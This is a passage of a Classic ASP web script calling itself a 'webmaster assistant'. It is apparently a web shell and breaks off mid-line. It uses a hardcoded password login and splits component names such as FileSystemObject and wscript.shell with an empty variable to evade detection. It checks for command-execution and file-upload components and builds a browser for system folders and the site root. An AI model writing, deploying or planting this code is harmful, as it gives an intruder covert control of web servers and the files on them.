<%
Server.ScriptTimeout=50000
Response.Buffer = True
On Error Resume Next
ApplicationName = "站长助手6 增强版"
UserPass = "123456" '登陆密码
URL = Request.ServerVariables("URL")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
Action = Request("Action")
RootPath = Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
BackUrl = "<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
If Session("webadmin")<>UserPass Then
If Request.Form("Pass")<>"" Then
If Request.Form("Pass")=UserPass Then
Session("webadmin")=UserPass
Response.Redirect URL
Else
response.write"验证失败!"
End If
Else
SI="<center style='font-size:12px'><br><br>欢迎使用ASP站长助手<br><br>"
SI=SI&"<form action='"&URL&"' method='post'>"
SI=SI&"密码:<input name='Pass' type='password' size='15'>"
SI=SI&" <input type='submit' value='登录'></form></center>"
Response.Write SI
End If
Response.End
End If
sub ShowErr()
If Err Then
Response.Write"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
Err.Clear:Response.Flush
End If
end sub
Dim ObT(13,2)
ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
ObT(0,2) = "文件操作组件"
ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
ObT(1,2) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS压缩组件"
ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
ObT(4,2) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
ObT(5,2) = "数据库连接组件"
ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
ObT(6,2) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,2) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,2) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,2) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,2) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,2) = "数据传输组件"
For i=0 To 13
Set T=Server.CreateObject(ObT(i,0))
If -2147221005 <> Err Then
IsObj=True
Else
IsObj=false
Err.Clear
End If
Set T=Nothing
ObT(i,1)=IsObj
Next
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
Function MainForm()
SI="<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame"">"
SI=SI&"<input type=""hidden"" name=""Action"">"
SI=SI&"<input type=""hidden"" name=""FName"">"
SI=SI&"</form>"
SI=SI&"<table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'>"
SI=SI&"<tr><td height='30' colspan='2'>"
SI=SI&"<table width='100%' height='25' border='0' cellpadding='0' cellspacing='0'>"
SI=SI&"<form name='addrform' method='post' action='"&URL&"' target='_parent'>"
SI=SI&"<tr><td width='60' align='center'>地址栏:</td><td>"
SI=SI&"<input name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'>"
SI=SI&"</td><td width='60' align='center'><input name='Submit' type='submit' value='转到'>"
SI=SI&"</td></tr></form></table></td></tr><tr><td width='160'>"
SI=SI&"<iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='2' scrolling='yes'></iframe></td>"
SI=SI&"<td>"
SI=SI&"<iframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'></iframe>"
SI=SI&"</td></tr></table>"
Response.Write SI
End Function
Function MainMenu()
SI="<table width='100%' border='0' cellspacing='0' cellpadding='0'>"
SI=SI&"<tr><td height='5'></td></tr>"
SI=SI&"<tr><td> "
SI=SI&"FSO文件操作模块"
SI=SI&"</td></tr>"
If Not ObT(0,1) Then
SI=SI&"<tr><td height='20'></td></tr>"
Else
Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing
SI=SI&"<tr><td height='20'> "
SI=SI&"<a href='javascript:ShowFolder(""C:\\Progra~1"")'>C:\Progra~1</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td height='20'> "
SI=SI&"<a href='javascript:ShowFolder(""C:\\Docume~1"")'>C:\Docume~1</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td height='20'> "
SI=SI&"<a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'>站点根目录</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td height='20'> "
SI=SI&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>本程序目录</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td height='20'> "
SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"